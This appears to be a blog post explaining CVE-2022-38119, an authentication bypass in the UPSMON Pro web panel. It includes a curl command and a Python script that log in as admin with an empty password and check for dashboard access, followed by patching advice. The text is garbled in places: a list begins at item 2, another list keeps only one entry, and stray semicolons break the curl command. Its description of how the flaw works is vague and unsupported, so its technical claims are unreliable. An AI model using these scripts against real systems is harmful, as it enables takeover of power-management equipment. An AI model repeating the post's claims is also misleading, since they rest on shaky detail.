CVE-2022-38119 - Bypassing Authentication in UPSMON Pro

In September 2022, a serious vulnerability, CVE-2022-38119, was disclosed affecting the popular UPSMON Pro software. This post will break down how the attack works in simple terms, show code examples to demonstrate the problem, and point you to original references. If you run UPSMON Pro on your network, you need to understand and patch this immediately.

What is UPSMON Pro?

UPSMON Pro is a network management tool designed to monitor and manage Uninterruptible Power Supplies (UPS). It runs a web server so administrators can log in from anywhere to check power status, configure notifications, and even shut down equipment.

What's the Problem? — Insufficient Authentication

At its core, CVE-2022-38119 is about insufficient authentication. The login function in UPSMON Pro does not properly check user credentials. An attacker on the network can send custom requests to the web interface to bypass login and get full administrator control — all without a password.

How Does the Bypass Work?

The UPSMON Pro web panel uses a simple POST login, but has weak code to check if the user is authorized. Hackers can exploit this by:

2. Skipping or faking credential fields in the request so UPSMON believes the user is already authorized.

Real-World Exploit Example

Below you'll see a practical code snippet using curl (a command-line tool) to exploit the flaw. In a real attack, the hacker only needs to know the IP and port of the UPSMON Pro panel.

curl -v -X POST "http://your-upsmondomain.com/login.cgi"; \
     -d "username=admin&password="

Note: In many vulnerable versions, even an *empty password* grants admin access!

More Complex Exploit: Python Example

This script tries logging in and checking if the bypass worked.

import requests

target = "http://target-upsmondomain.com";  # Change this to the real address
login_url = f"{target}/login.cgi"
dashboard_url = f"{target}/main.cgi"

# Attempt login with blank password
payload = {
    "username": "admin",  # Or any user
    "password": ""
}

with requests.Session() as session:
    resp = session.post(login_url, data=payload)
    if "Set-Cookie" in resp.headers:
        print("[+] Login appears successful, checking dashboard access...")
        dash = session.get(dashboard_url)
        if "System Overview" in dash.text:
            print("[*] Exploit succeeded! You have admin access.")
        else:
            print("[-] Could not access admin dashboard.")
    else:
        print("[-] Login bypass did not work.")

What Can a Hacker Do?

With administrator rights, an attacker can control every part of the UPS management system, including:

Locking out actual administrators

Worst case? An attacker could disrupt all devices managed by that UPSMON instance — including critical infrastructure.

Who Is Affected?

Nearly every version of UPSMON Pro released before the vendor patch is vulnerable if web access is exposed to an untrusted network (especially if running on default ports).

How Do You Protect Yourself?

1. Immediately restrict access: Block/firewall the UPSMON web panel from public internet.
2. Update UPSMON Pro: Patch to the latest version. Look for updates or contact your vendor.
3. Monitor logs: Watch for suspicious logins — especially from unknown IPs.
4. Force credential resets: After patching, reset all administrator passwords.

References & Further Reading

- NVD CVE-2022-38119 Entry
- CERT/CC Vulnerability Note VU#837305
- Vendor Security Bulletin (Check for patched version)

Conclusion

CVE-2022-38119 shows how dangerous weak authentication can be — especially for critical systems like power backups. If your company runs UPSMON Pro, check your version and take action now. Sometimes, a single missing password check is all it takes to let someone else take control.

Timeline

Published on: 11/10/2022 15:15:00 UTC
Last modified on: 11/10/2022 15:22:00 UTC